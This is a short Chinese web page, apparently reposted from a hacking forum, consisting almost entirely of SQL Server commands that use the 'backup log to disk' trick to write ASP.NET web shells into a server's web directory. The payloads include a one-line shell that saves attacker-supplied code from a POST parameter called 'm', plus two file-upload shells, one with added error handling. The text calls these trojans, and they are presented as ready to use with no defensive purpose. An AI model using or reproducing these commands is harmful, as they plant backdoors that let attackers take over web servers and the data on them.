注册
登录
| 关键词： pubs backup dbo disk table FULLcreate initinsert log cmd database |
alter database pubs set RECOVERY FULLcreate table pubs.dbo.cmd(a image)backup log pubs to disk = 'c:\TM' with initinsert into pubs.dbo.cmd(a) values ('<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("i.aspx"),false);ow.Write(Request.Params["m"]);ow.Close()%> ')backup log pubs to disk = 'd:\haha.aspx'这个和asp的一样，客户端post一个变量m把木马代码丢在变量m里面就行了。这个是类似asp的一句话木马的。 网上的asp.net的上传文件程序drop table pubs.dbo.cmdalter database pubs set RECOVERY FULLcreate table pubs.dbo.cmd(a image)backup log pubs to disk = 'c:\TM' with initinsert into pubs.dbo.cmd(a) values ('<script language="c#" runat="server">private void bc(object o,EventArgs e) {string u="files";string filename;int pos=f.PostedFile.FileName.LastIndexOf("\\");filename=f.PostedFile.FileName.Substring(pos + 1);f.PostedFile.SaveAs(Server.MapPath(u)+"\\"+filename);}</script><form method="post" runat="server"><input type="file" id="f" runat="server"/><input type="submit" value="ss" runat="Server" OnServerClick="bc" /></form>')backup log pubs to disk = 'c:\inetpub\wwwroot\ha.aspx'加入错误捕获drop table pubs.dbo.cmdalter database pubs set RECOVERY FULLcreate table pubs.dbo.cmd(a image)backup log pubs to disk = 'c:\T ' with initinsert into pubs.dbo.cmd(a) values ('<script language="c#" runat="server">private void bp(object o,EventArgs e) {string u="files";string filename;try {int pos = f.PostedFile.FileName.LastIndexOf("\\");if (pos > 0) filename = f.PostedFile.FileName.Substring(pos + 1);else filename = f.PostedFile.FileName;Response.Write(Server.MapPath(u) + "\\" + filename);f.PostedFile.SaveAs(Server.MapPath("filename"));} catch (Exception ex) {Response.Write("Error: " + ex.Message.ToString());}}</script><form method="post" runat="server"><input type="file" id="f" runat="server" size="50"/><input type="submit" value="s" runat="Server" OnServerClick="bp" /></form>')backup log pubs to disk = 'd:\haha2.aspx' |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
